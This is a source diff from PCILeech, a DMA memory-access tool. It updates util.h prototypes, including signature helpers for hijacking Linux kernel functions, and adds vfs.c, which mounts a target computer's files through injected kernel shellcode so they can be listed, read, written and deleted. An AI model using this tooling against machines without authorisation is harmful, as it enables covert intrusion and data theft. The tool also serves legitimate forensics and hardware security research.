* this address will be returned.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwCR3 = the physical address of PML4.
|
||||
* -- qwAddrPhys = the physical address to search for.
|
||||
* -- pqwAddrVirt = ptr to receive virtual address.
|
||||
@@ -59,7 +55,7 @@ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
|
||||
* -- pqwPML4E = ptr to optionally receive value of PML4E
|
||||
* -- return
|
||||
*/
|
||||
BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, _Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E);
|
||||
BOOL Util_PageTable_FindMappedAddress(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, _Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E);
|
||||
|
||||
/*
|
||||
* Load KMD and Unlock signatures.
|
||||
@@ -132,14 +128,17 @@ QWORD Util_GetNumeric(_In_ LPSTR sz);
|
||||
* function formats the paramerters and put them into the supplied pSignature.
|
||||
* This will only work for kernels prior to 4.8.
|
||||
* -- paBase = memory physical offset to paSzKallsyms
|
||||
* -- paSzKallsyms = physical offset to 'kallsyms_looup_name' text string.
|
||||
* -- vaSzKallsyms = virtual address of 'kallsyms_looup_name' text string.
|
||||
* -- vaFnKallsyms = virtual address of the kallsyms_lookup_name function.
|
||||
* -- vaFnHijack = virtual address of the function to hijack.
|
||||
* -- paSzKallsyms = physical offset (from base) to 'kallsyms_lookup_name' text string.
|
||||
* -- vaSzKallsyms = virtual address of 'kallsyms_lookup_name' text string.
|
||||
* -- vaFnKallsyms = virtual address of 'kallsyms_lookup_name' function.
|
||||
* -- paSzFnHijack = physical offset (from base) to 'function to hijack' text string.
|
||||
* -- vaSzFnHijack = virtual address text string 'of function to hijack' test string.
|
||||
* -- vaFnHijack = virtual address of function to hijack.
|
||||
* -- pSignature = ptr to signature struct to place the result in.
|
||||
*/
|
||||
VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature);
|
||||
|
||||
VOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase,
|
||||
_In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms,
|
||||
_In_ DWORD paSzFnHijack, _In_ QWORD vaSzFnHijack, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature);
|
||||
/*
|
||||
* "Create" a static signature for FreeBSD given the supplied parameters. The
|
||||
* function formats the paramerters and put them into the supplied pSignature.
|
||||
@@ -186,32 +185,36 @@ VOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATUR
|
||||
/*
|
||||
* Read a 16MB data chunk from the target and place it in the pbBuffer16M buffer.
|
||||
* Any data that failed to read within the 16MB buffer is set to zero.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- pbBuffer16M = the already allocated 16MB buffer to place the content in.
|
||||
* -- qwBaseAddress = the base address to start reading from.
|
||||
* -- pPageStat = statistics struct to update on progress (pages success/fail).
|
||||
* -- return = TRUE if at least one 4k page could be read; FALSE if all pages failed.
|
||||
*/
|
||||
BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat);
|
||||
BOOL Util_Read16M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat);
|
||||
|
||||
/*
|
||||
* Wait for the connected PCILeech device to be power cycled. This function will
|
||||
* sleep until a power cycle event is detected on the connected PCILeech device.
|
||||
* The connected device needs to first be powered down and then powered up before
|
||||
* this function will exit.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Util_WaitForPowerCycle(_In_ PCONFIG pCfg, _Inout_ PDEVICE_DATA pDeviceData);
|
||||
VOID Util_WaitForPowerCycle(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Wait for a PCILeech device to be powered on and for it to complete a dummy
|
||||
* memory read. The pDeviceData will be initialized upon success - in which
|
||||
* the function will exit.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Util_WaitForPowerOn(_In_ PCONFIG pCfg, _Inout_ PDEVICE_DATA pDeviceData);
|
||||
VOID Util_WaitForPowerOn(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Print a maximum of 8192 bytes of binary data as hexascii on the screen.
|
||||
* -- pb
|
||||
* -- cb
|
||||
*/
|
||||
VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
#endif /* __UTIL_H__ */
|
||||
|
||||
937
pcileech/vfs.c
937
pcileech/vfs.c
@@ -0,0 +1,937 @@
|
||||
// vfs.c : implementation of functions related to virtual file system support.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "vfs.h"
|
||||
#include "device.h"
|
||||
#include "executor.h"
|
||||
#include "util.h"
|
||||
#pragma warning( push )
|
||||
#pragma warning( disable : 4005 )
|
||||
#include "dokan.h"
|
||||
#pragma warning( pop )
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Defines and Typedefs (shared with shellcode) below:
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
#define VFS_OP_MAGIC 0x79e720ad93aa130f
|
||||
#define VFS_OP_CMD_LIST_DIRECTORY 1
|
||||
#define VFS_OP_CMD_WRITE 2
|
||||
#define VFS_OP_CMD_READ 3
|
||||
#define VFS_OP_CMD_CREATE 4
|
||||
#define VFS_OP_CMD_DELETE 5
|
||||
|
||||
#define VFS_FLAGS_FILE_NORMAL 0x01
|
||||
#define VFS_FLAGS_FILE_DIRECTORY 0x02
|
||||
#define VFS_FLAGS_FILE_SYMLINK 0x04
|
||||
#define VFS_FLAGS_FILE_OTHER 0x08
|
||||
#define VFS_FLAGS_UNICODE 0x10
|
||||
#define VFS_FLAGS_EXIST_FILE 0x20
|
||||
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
|
||||
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
|
||||
|
||||
typedef struct tdVFS_OPERATION {
|
||||
QWORD magic;
|
||||
QWORD op;
|
||||
QWORD flags;
|
||||
CHAR szFileName[MAX_PATH];
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
QWORD offset;
|
||||
QWORD cb;
|
||||
BYTE pb[];
|
||||
} VFS_OPERATION, *PVFS_OPERATION;
|
||||
|
||||
typedef struct tdVFS_RESULT_FILEINFO {
|
||||
QWORD flags;
|
||||
QWORD tAccessOpt;
|
||||
QWORD tModifyOpt;
|
||||
QWORD tCreateOpt;
|
||||
QWORD dbg1;
|
||||
QWORD dbg2;
|
||||
QWORD cb;
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Defines and Typedefs (not shared with shellcode) below:
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
#define CACHE_MEM_ENTRIES 32
|
||||
#define CACHE_MEM_SIZE 0x00400000
|
||||
#define CACHE_MEM_LIFETIME_MS 2000
|
||||
#define CACHE_FILE_ENTRIES 32
|
||||
#define CACHE_FILE_SIZE 0x00200000
|
||||
#define CACHE_FILE_LIFETIME_MS 10000
|
||||
#define CACHE_DIRECTORY_ENTRIES 32
|
||||
#define CACHE_DIRECTORY_LIFETIME_MS 10000
|
||||
|
||||
typedef struct tdVfsCacheMem {
|
||||
QWORD qwTickCount64;
|
||||
QWORD qwA;
|
||||
BYTE pb[CACHE_MEM_SIZE];
|
||||
} VFS_CACHE_MEM, *PVFS_CACHE_MEM;
|
||||
|
||||
typedef struct tdVfsCacheFile {
|
||||
QWORD qwTickCount64;
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
QWORD cbOffset;
|
||||
QWORD cb;
|
||||
BYTE pb[CACHE_FILE_SIZE];
|
||||
} VFS_CACHE_FILE, *PVFS_CACHE_FILE;
|
||||
|
||||
typedef struct tdVfsCacheDirectory {
|
||||
QWORD qwTickCount64;
|
||||
WCHAR wszDirectoryName[MAX_PATH];
|
||||
QWORD cfi;
|
||||
PVFS_RESULT_FILEINFO pfi;
|
||||
} VFS_CACHE_DIRECTORY, *PVFS_CACHE_DIRECTORY;
|
||||
|
||||
typedef struct tdVFS_STAT_ELEM {
|
||||
QWORD hit;
|
||||
QWORD miss;
|
||||
} VFS_STAT_ELEM;
|
||||
|
||||
typedef struct tdVFS_STATISTICS {
|
||||
VFS_STAT_ELEM cRAM;
|
||||
VFS_STAT_ELEM cbRAM;
|
||||
VFS_STAT_ELEM cLISTDIR;
|
||||
VFS_STAT_ELEM cLISTFILE;
|
||||
VFS_STAT_ELEM cFILE;
|
||||
VFS_STAT_ELEM cbFILE;
|
||||
BOOL fThreadExit;
|
||||
HANDLE hThread;
|
||||
HANDLE hConsole;
|
||||
WORD wConsoleCursorPosition;
|
||||
} VFS_STATISTICS, *PVFS_STATISTICS;
|
||||
|
||||
typedef struct tdVFS_GLOBAL_STATE {
|
||||
SYSTEMTIME time;
|
||||
PPCILEECH_CONTEXT ctx;
|
||||
QWORD cbRAM;
|
||||
VFS_STATISTICS Statistics;
|
||||
CRITICAL_SECTION LockDma;
|
||||
CRITICAL_SECTION LockCache;
|
||||
NTSTATUS(*DokanNtStatusFromWin32)(DWORD Error);
|
||||
QWORD PCILeechOperatingSystem;
|
||||
CHAR szNameVfsShellcode[32];
|
||||
BYTE pbDMA16M[0x01000000];
|
||||
QWORD CacheMemIndex;
|
||||
VFS_CACHE_MEM CacheMem[CACHE_MEM_ENTRIES];
|
||||
QWORD CacheFileIndex;
|
||||
VFS_CACHE_FILE CacheFile[CACHE_FILE_ENTRIES];
|
||||
QWORD CacheDirectoryIndex;
|
||||
VFS_CACHE_DIRECTORY CacheDirectory[CACHE_DIRECTORY_ENTRIES];
|
||||
} VFS_GLOBAL_STATE, *PVFS_GLOBAL_STATE;
|
||||
|
||||
VOID Vfs_UtilSplitPathFile(_Out_ WCHAR wszPath[MAX_PATH], _Out_ LPWSTR *pwcsFile, _In_ LPCWSTR wcsFileName);
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Read cache functionality below.
|
||||
// (file and memory accesses are become extremely slow without caching).
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
BOOL VfsCache_DirectoryGetSingle(_Out_ PVFS_RESULT_FILEINFO pfi, _Out_ PBOOL isExisting, _In_ LPCWSTR wcsPath, _In_ LPCWSTR wcsFile, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i, j, qwCurrentTickCount;
|
||||
qwCurrentTickCount = GetTickCount64();
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_DIRECTORY_ENTRIES; i++) {
|
||||
if(wcscmp(wcsPath, pds->CacheDirectory[i].wszDirectoryName)) {
|
||||
continue;
|
||||
}
|
||||
if(qwCurrentTickCount - pds->CacheDirectory[i].qwTickCount64 > CACHE_DIRECTORY_LIFETIME_MS) {
|
||||
continue;
|
||||
}
|
||||
for(j = 0; j < pds->CacheDirectory[i].cfi; j++) {
|
||||
if(!wcscmp(wcsFile, pds->CacheDirectory[i].pfi[j].wszFileName)) {
|
||||
memcpy(pfi, &pds->CacheDirectory[i].pfi[j], sizeof(VFS_RESULT_FILEINFO));
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
*isExisting = TRUE;
|
||||
pds->Statistics.cLISTFILE.hit++;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
*isExisting = FALSE;
|
||||
pds->Statistics.cLISTFILE.miss++;
|
||||
return TRUE;
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cLISTFILE.miss++;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL VfsCache_DirectoryGetDirectory(_Out_ PVFS_RESULT_FILEINFO *ppfi, _Out_ PQWORD pcfi, _In_ LPCWSTR wcsPathFileName, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i, qwCurrentTickCount;
|
||||
qwCurrentTickCount = GetTickCount64();
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_DIRECTORY_ENTRIES; i++) {
|
||||
if(wcscmp(wcsPathFileName, pds->CacheDirectory[i].wszDirectoryName)) {
|
||||
continue;
|
||||
}
|
||||
if(qwCurrentTickCount - pds->CacheDirectory[i].qwTickCount64 > CACHE_DIRECTORY_LIFETIME_MS) {
|
||||
continue;
|
||||
}
|
||||
*pcfi = pds->CacheDirectory[i].cfi;
|
||||
*ppfi = (PVFS_RESULT_FILEINFO)LocalAlloc(0, *pcfi * sizeof(VFS_RESULT_FILEINFO));
|
||||
if(!*ppfi) { goto fail; }
|
||||
memcpy(*ppfi, pds->CacheDirectory[i].pfi, *pcfi * sizeof(VFS_RESULT_FILEINFO));
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cLISTDIR.hit++;
|
||||
return TRUE;
|
||||
}
|
||||
fail:
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cLISTDIR.miss++;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID VfsCache_DirectoryPut(_In_ LPCWSTR wcsDirectoryName, _In_ PVFS_RESULT_FILEINFO pfi, _In_ QWORD cfi, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
PVFS_CACHE_DIRECTORY cd;
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
cd = &pds->CacheDirectory[pds->CacheDirectoryIndex];
|
||||
cd->qwTickCount64 = 0;
|
||||
LocalFree(cd->pfi);
|
||||
cd->pfi = NULL;
|
||||
cd->pfi = (PVFS_RESULT_FILEINFO)LocalAlloc(0, cfi * sizeof(VFS_RESULT_FILEINFO));
|
||||
if(!cd->pfi) { return; }
|
||||
cd->qwTickCount64 = GetTickCount64();
|
||||
memcpy(cd->pfi, pfi, cfi * sizeof(VFS_RESULT_FILEINFO));
|
||||
cd->cfi = cfi;
|
||||
wcscpy_s(cd->wszDirectoryName, MAX_PATH, wcsDirectoryName);
|
||||
pds->CacheDirectoryIndex = (pds->CacheDirectoryIndex + 1) % CACHE_DIRECTORY_ENTRIES;
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
VOID VfsCache_DirectoryDel(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo, _In_ BOOL isDeleteAll)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
WCHAR wszPath[MAX_PATH];
|
||||
LPWSTR wszFile;
|
||||
QWORD i;
|
||||
Vfs_UtilSplitPathFile(wszPath, &wszFile, wcsFileName);
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_DIRECTORY_ENTRIES; i++) {
|
||||
if(isDeleteAll || !wcscmp(wszPath, pds->CacheDirectory[i].wszDirectoryName)) {
|
||||
pds->CacheDirectory[i].qwTickCount64 = 0;
|
||||
LocalFree(pds->CacheDirectory[i].pfi);
|
||||
pds->CacheDirectory[i].pfi = NULL;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
BOOL VfsCache_MemGet(_Out_ LPVOID pbBuffer, _In_ QWORD qwA, _In_ DWORD cbLength, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i, qwOffset, qwCurrentTickCount;
|
||||
qwCurrentTickCount = GetTickCount64();
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_MEM_ENTRIES; i++) {
|
||||
if(qwCurrentTickCount - pds->CacheMem[i].qwTickCount64 > CACHE_MEM_LIFETIME_MS) {
|
||||
continue;
|
||||
}
|
||||
qwOffset = qwA - pds->CacheMem[i].qwA;
|
||||
if((qwOffset > CACHE_MEM_SIZE) || (qwOffset + cbLength > CACHE_MEM_SIZE)) {
|
||||
continue;
|
||||
}
|
||||
memcpy(pbBuffer, pds->CacheMem[i].pb + qwOffset, cbLength);
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cRAM.hit++;
|
||||
pds->Statistics.cbRAM.hit += cbLength;
|
||||
return TRUE;
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cRAM.miss++;
|
||||
pds->Statistics.cbRAM.miss += cbLength;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID VfsCache_MemDel(_In_ QWORD qwA, _In_ DWORD cbLength, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i;
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_MEM_ENTRIES; i++) {
|
||||
if((qwA > pds->CacheMem[i].qwA) && (qwA < pds->CacheMem[i].qwA + CACHE_MEM_SIZE)) {
|
||||
pds->CacheMem[i].qwTickCount64 = 0;
|
||||
}
|
||||
if((qwA + cbLength > pds->CacheMem[i].qwA) && (qwA + cbLength < pds->CacheMem[i].qwA + CACHE_MEM_SIZE)) {
|
||||
pds->CacheMem[i].qwTickCount64 = 0;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
VOID VfsCache_MemPut(_In_ LPVOID pbBuffer, _In_ QWORD qwA, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
pds->CacheMem[pds->CacheMemIndex].qwTickCount64 = GetTickCount64();
|
||||
pds->CacheMem[pds->CacheMemIndex].qwA = qwA;
|
||||
memcpy(pds->CacheMem[pds->CacheMemIndex].pb, pbBuffer, CACHE_MEM_SIZE);
|
||||
pds->CacheMemIndex = (pds->CacheMemIndex + 1) % CACHE_MEM_ENTRIES;
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
BOOL VfsCache_FileGet(_In_ LPCWSTR wcsFileName, _In_ QWORD cbOffset, _Out_ LPVOID pb, _In_ DWORD cb, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i, qwCurrentTickCount;
|
||||
qwCurrentTickCount = GetTickCount64();
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_FILE_ENTRIES; i++) {
|
||||
if(wcscmp(wcsFileName, pds->CacheFile[i].wszFileName)) {
|
||||
continue;
|
||||
}
|
||||
if(qwCurrentTickCount - pds->CacheFile[i].qwTickCount64 > CACHE_FILE_LIFETIME_MS) {
|
||||
continue;
|
||||
}
|
||||
if((cbOffset < pds->CacheFile[i].cbOffset) || (cbOffset + cb) > pds->CacheFile[i].cbOffset + pds->CacheFile[i].cb) {
|
||||
continue;
|
||||
}
|
||||
memcpy(pb, pds->CacheFile[i].pb + cbOffset - pds->CacheFile[i].cbOffset, cb);
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cFILE.hit++;
|
||||
pds->Statistics.cbFILE.hit += cb;
|
||||
return TRUE;
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
pds->Statistics.cFILE.miss++;
|
||||
pds->Statistics.cbFILE.miss += cb;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID VfsCache_FileDel(_In_ LPCWSTR wcsFileName, _In_ QWORD cbOffset, _In_ DWORD cb, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
QWORD i, qwCurrentTickCount;
|
||||
qwCurrentTickCount = GetTickCount64();
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
for(i = 0; i < CACHE_FILE_ENTRIES; i++) {
|
||||
if(_wcsicmp(wcsFileName, pds->CacheFile[i].wszFileName)) {
|
||||
continue;
|
||||
}
|
||||
if(qwCurrentTickCount - pds->CacheFile[i].qwTickCount64 > CACHE_FILE_LIFETIME_MS) {
|
||||
continue;
|
||||
}
|
||||
if((cbOffset < pds->CacheFile[i].cbOffset) || (cbOffset + cb) > pds->CacheFile[i].cbOffset + pds->CacheFile[i].cb) {
|
||||
continue;
|
||||
}
|
||||
pds->CacheFile[i].qwTickCount64 = 0;
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
VOID VfsCache_FilePut(_In_ LPCWSTR wcsFileName, _In_ QWORD cbOffset, _In_ PBYTE pb, _In_ QWORD cb, _In_ PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
EnterCriticalSection(&pds->LockCache);
|
||||
cb = min(cb, CACHE_FILE_SIZE);
|
||||
pds->CacheFile[pds->CacheFileIndex].qwTickCount64 = GetTickCount64();
|
||||
pds->CacheFile[pds->CacheFileIndex].cb = cb;
|
||||
pds->CacheFile[pds->CacheFileIndex].cbOffset = cbOffset;
|
||||
wcscpy_s(pds->CacheFile[pds->CacheFileIndex].wszFileName, MAX_PATH, wcsFileName);
|
||||
memcpy(pds->CacheFile[pds->CacheFileIndex].pb, pb, cb);
|
||||
pds->CacheFileIndex = (pds->CacheFileIndex + 1) % CACHE_FILE_ENTRIES;
|
||||
LeaveCriticalSection(&pds->LockCache);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Utility functions below:
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
#define _VFS_SET_FILETIME_OPT(p_ft_dst, p_ft_src, p_st_src) (*(PQWORD)p_ft_dst = (p_ft_src && *(PQWORD)p_ft_src) ? *(PQWORD)p_ft_src : (SystemTimeToFileTime(p_st_src, p_ft_dst) ? *(PQWORD)p_ft_dst : 0))
|
||||
|
||||
BOOL UnicodeToAscii(_Out_ LPSTR szDst, _In_ SIZE_T cDst, _In_ LPCWSTR wcsSrc)
|
||||
{
|
||||
DWORD i = 0;
|
||||
while(TRUE) {
|
||||
if(i > cDst) { return FALSE; }
|
||||
if(wcsSrc[i] > 255) { return FALSE; }
|
||||
szDst[i] = (CHAR)wcsSrc[i];
|
||||
if(wcsSrc[i] == 0) { return TRUE; }
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
VOID Vfs_UtilSplitPathFile(_Out_ WCHAR wszPath[MAX_PATH], _Out_ LPWSTR *pwcsFile, _In_ LPCWSTR wcsFileName)
|
||||
{
|
||||
DWORD i, iSplitFilePath;
|
||||
wcscpy_s(wszPath, MAX_PATH, wcsFileName);
|
||||
for(i = 0; i < MAX_PATH; i++) {
|
||||
if(wszPath[i] == '\\') {
|
||||
iSplitFilePath = i;
|
||||
}
|
||||
if(wszPath[i] == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
wszPath[iSplitFilePath] = 0;
|
||||
*pwcsFile = wszPath + iSplitFilePath + 1;
|
||||
}
|
||||
|
||||
BOOL Vfs_ConvertFilenameToUnix(LPSTR szFileNameUnix, LPCWSTR wcsFileNameVfs) {
|
||||
DWORD i;
|
||||
CHAR sz[MAX_PATH];
|
||||
if(!UnicodeToAscii(sz, MAX_PATH, wcsFileNameVfs)) {
|
||||
return FALSE;
|
||||
}
|
||||
for(i = 0; i < MAX_PATH; i++) {
|
||||
if(sz[i] == '\\') {
|
||||
sz[i] = '/';
|
||||
}
|
||||
}
|
||||
strcpy_s(szFileNameUnix, MAX_PATH, sz + 6);
|
||||
if(szFileNameUnix[0] == 0) {
|
||||
szFileNameUnix[0] = '/';
|
||||
szFileNameUnix[1] = 0;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Vfs_InitVfsOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD op, _In_ LPCWSTR wcsFileName, _In_ PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
ZeroMemory(pop, sizeof(VFS_OPERATION));
|
||||
pop->magic = VFS_OP_MAGIC;
|
||||
pop->op = op;
|
||||
if(pds->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) {
|
||||
wcscpy_s(pop->wszFileName, MAX_PATH, _wcsicmp(wcsFileName, L"\\files") ? wcsFileName : L"\\??\\C:\\");
|
||||
memcpy(pop->wszFileName, L"\\??\\C:", 6 * sizeof(WCHAR));
|
||||
pop->flags = VFS_FLAGS_UNICODE;
|
||||
return TRUE;
|
||||
}
|
||||
return Vfs_ConvertFilenameToUnix(pop->szFileName, wcsFileName);
|
||||
}
|
||||
|
||||
BOOL Vfs_ListDirectory(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo, _Out_ PVFS_RESULT_FILEINFO *ppfi, _Out_ PQWORD pcfi)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result;
|
||||
VFS_OPERATION op;
|
||||
QWORD cbfi;
|
||||
result = VfsCache_DirectoryGetDirectory(ppfi, pcfi, wcsFileName, pds);
|
||||
if(result) { return TRUE; }
|
||||
result = Vfs_InitVfsOperation(&op, VFS_OP_CMD_LIST_DIRECTORY, wcsFileName, DokanFileInfo);
|
||||
if(!result) { return FALSE; }
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
result = VfsCache_DirectoryGetDirectory(ppfi, pcfi, wcsFileName, pds);
|
||||
if(result) {
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return TRUE;
|
||||
}
|
||||
result = Exec_ExecSilent(pds->ctx, pds->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), (PBYTE*)ppfi, &cbfi);
|
||||
if(!result) {
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return FALSE;
|
||||
}
|
||||
*pcfi = cbfi / sizeof(VFS_RESULT_FILEINFO);
|
||||
VfsCache_DirectoryPut(wcsFileName, *ppfi, *pcfi, pds);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Vfs_ListSingle(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo, _Out_ PVFS_RESULT_FILEINFO pfi)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result, isExisting;
|
||||
WCHAR wszPath[MAX_PATH];
|
||||
LPWSTR wszFile;
|
||||
QWORD cfiDma;
|
||||
PVFS_RESULT_FILEINFO pfiDma = NULL;
|
||||
Vfs_UtilSplitPathFile(wszPath, &wszFile, wcsFileName);
|
||||
result = VfsCache_DirectoryGetSingle(pfi, &isExisting, wszPath, wszFile, pds);
|
||||
if(result) { return isExisting; }
|
||||
result = Vfs_ListDirectory(wszPath, DokanFileInfo, &pfiDma, &cfiDma);
|
||||
if(!result) { return FALSE; }
|
||||
LocalFree(pfiDma);
|
||||
result = VfsCache_DirectoryGetSingle(pfi, &isExisting, wszPath, wszFile, pds);
|
||||
if(result) {
|
||||
return isExisting;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID Vfs_Delete(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
VFS_OPERATION op;
|
||||
BOOL result;
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files\\", 7)) {
|
||||
result = Vfs_InitVfsOperation(&op, VFS_OP_CMD_DELETE, wcsFileName, DokanFileInfo);
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
Exec_ExecSilent(pds->ctx, pds->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), NULL, NULL);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
VfsCache_DirectoryDel(wcsFileName, DokanFileInfo, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL Vfs_IsFileInBlackList(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
if(pds->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {
|
||||
return !wcsncmp(wcsFileName, L"\\files\\dev\\watchdog", 19);
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
